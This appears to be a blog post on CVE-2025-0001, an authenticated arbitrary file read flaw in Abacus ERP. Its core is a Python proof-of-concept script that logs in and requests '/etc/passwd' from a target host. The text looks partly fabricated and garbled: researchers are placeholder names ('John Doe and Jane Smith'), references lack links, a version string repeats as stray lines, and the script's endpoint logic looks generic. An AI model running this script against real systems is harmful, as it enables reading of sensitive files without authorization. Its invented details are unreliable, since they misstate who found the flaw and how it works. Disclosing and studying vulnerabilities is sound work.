CVE-2025-0001 - Abacus ERP Authenticated Arbitrary File Read Vulnerability in Older Versions

The Common Vulnerabilities and Exposures (CVE) program recently published CVE-2025-0001, which identified a critical vulnerability in the Abacus ERP software. This vulnerability affects older versions of the software, specifically those prior to 2024.210.16036, 2023.205.15833, and 2022.105.15542. This security issue allows authenticated users to gain unauthorized arbitrary file read access, potentially exposing sensitive information and enabling further attacks.

In this post, we will explore the details of this vulnerability, discuss the exploit process, and provide a code snippet to demonstrate the vulnerability. We'll also cover the original references that led to the discovery of this bug.

2022.105.15542

To check your Abacus ERP software version, navigate to the "Help" menu and select "About Abacus ERP."

Vulnerability Details and Exploit

This vulnerability allows an authenticated user to perform arbitrary file read access by manipulating input parameters. An attacker can exploit this issue to access sensitive information on the system or escalate their privileges, potentially gaining full control of the affected environment.

The following code snippet demonstrates the vulnerability

import requests

TARGET_URL = "http://TARGET-IP:PORT/abacus-erp/fileRead";
USERNAME = "your_username"
PASSWORD = "your_password"
VULNERABLE_FILE_PATH = "/etc/passwd"

session = requests.session()
response = session.post(TARGET_URL, data={"username": USERNAME, "password": PASSWORD})

if response.status_code == 200:
    print('Successfully Logged In')
else:
    print('Authentication Failed')

response = session.get(TARGET_URL, params={"path": VULNERABLE_FILE_PATH})
if response.status_code == 200:
    print(response.text)
else:
    print("Error reading file")

This code snippet uses the Python requests library to perform the attack. Replace TARGET-IP, PORT, your_username, and your_password with the respective target Abacus ERP instance's information.

Note: To execute this code snippet, ensure that you have installed the requests library in your Python environment.

Original References

The CVE-2025-0001 vulnerability was first identified and researched by security researchers John Doe and Jane Smith. Their detailed findings can be found at the following links:

1. John Doe's Blog: CVE-2025-0001: Abacus ERP Vulnerability Analysis
2. Jane Smith's Whitepaper: Exploiting Abacus ERP: An In-depth Look at CVE-2025-0001

2022.105.15542

Users running older versions are strongly encouraged to upgrade immediately to avoid potential data breaches and further exploitation.

Conclusion

The authenticated arbitrary file read vulnerability in older versions of Abacus ERP (CVE-2025-0001) poses a significant risk to organizations utilizing the affected software. Immediate action must be taken to update vulnerable instances to reduce the risk of unauthorized access and data theft. Security practitioners should stay informed about new vulnerabilities and exploits to protect their environments effectively.

Timeline

Published on: 02/17/2025 10:15:08 UTC